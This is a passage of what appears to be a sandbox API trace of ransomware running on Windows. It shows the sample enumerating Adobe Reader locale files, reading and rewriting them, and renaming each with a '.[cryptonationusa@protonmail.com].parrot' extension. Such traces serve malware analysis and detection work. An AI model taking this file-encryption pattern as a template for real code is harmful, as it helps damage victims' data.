lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0250.976] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.976] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x13400, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x13400, lpOverlapped=0x0) returned 1 [0250.978] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.979] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Multimedia.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\multimedia.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Multimedia.DAN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\multimedia.dan.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0250.984] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0250.984] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0250.985] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.985] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2c00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2c00, lpOverlapped=0x0) returned 1 [0250.986] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.987] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\pddom.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\pddom.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\pddom.DAN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\pddom.dan.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0250.990] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0250.990] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0250.992] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.992] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7f000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x7f000, lpOverlapped=0x0) returned 1 [0251.010] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.032] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\PPKLITE.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\ppklite.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\PPKLITE.DAN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\ppklite.dan.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0251.041] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0251.041] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0251.042] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.043] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x100000, lpOverlapped=0x0) returned 1 [0251.077] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.123] WriteFile (in: hFile=0x1b0, lpBuffer=0x31f64d0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x31f64d0*, lpNumberOfBytesWritten=0x18e8f4*=0x118, lpOverlapped=0x0) returned 1 [0251.126] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.126] WriteFile (in: hFile=0x1b0, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18e8f4*=0x100000, lpOverlapped=0x0) returned 1 [0251.129] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x144d18, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0251.129] CloseHandle (hObject=0x1b0) returned 1 [0251.130] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\RdLang32.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\rdlang32.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\RdLang32.DAN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\rdlang32.dan.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0251.140] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0251.140] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0251.141] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.141] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2a00, lpOverlapped=0x0) returned 1 [0251.143] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.143] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\ReadOutLoud.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\readoutloud.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\ReadOutLoud.DAN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\readoutloud.dan.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0251.150] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0251.150] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0251.151] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.152] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1200, lpOverlapped=0x0) returned 1 [0251.153] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.153] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\reflow.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\reflow.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\reflow.DAN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\reflow.dan.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0251.159] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0251.159] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0251.161] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.161] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4600, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x4600, lpOverlapped=0x0) returned 1 [0251.162] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.163] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\SaveAsRTF.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\saveasrtf.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\SaveAsRTF.DAN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\saveasrtf.dan.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0251.168] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0251.168] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0251.169] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.169] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5c00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x5c00, lpOverlapped=0x0) returned 1 [0251.170] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.171] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Search.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\search.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Search.DAN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\search.dan.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0251.176] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0251.176] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0251.177] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.177] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3e00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x3e00, lpOverlapped=0x0) returned 1 [0251.178] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.178] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\SendMail.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\sendmail.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\SendMail.DAN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\sendmail.dan.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0251.182] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0251.183] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0251.183] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f971c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0251.183] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0251.183] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0251.183] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8ca7, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0251.184] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0251.184] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0251.185] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.185] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8ca7, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x8ca7, lpOverlapped=0x0) returned 1 [0251.187] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.188] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\services\\dexshare.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services\\DEXShare.asfx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\services\\dexshare.asfx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0251.193] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0251.193] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0251.194] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.194] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe1, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xe1, lpOverlapped=0x0) returned 1 [0251.194] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.197] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\services\\services.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services\\Services.asfx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\services\\services.asfx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0251.201] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0251.201] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f971c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x21bb8e20, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x21bb8e20, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0251.201] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x21bb8e20, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x8dc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="DEXSHA~1.PAR")) returned 1 [0251.203] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0251.204] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0251.205] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.205] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2800, lpOverlapped=0x0) returned 1 [0251.206] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.207] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Spelling.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\spelling.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Spelling.DAN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\spelling.dan.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0251.212] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0251.212] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0251.213] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.213] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2a00, lpOverlapped=0x0) returned 1 [0251.214] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.214] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\updater.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\updater.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\updater.DAN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\updater.dan.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0251.219] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0251.219] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0251.221] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.221] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6e00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x6e00, lpOverlapped=0x0) returned 1 [0251.222] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.222] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Weblink.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\weblink.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Weblink.DAN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\weblink.dan.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0251.226] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0251.227] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x21c050e0, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x21c050e0, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0251.227] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, 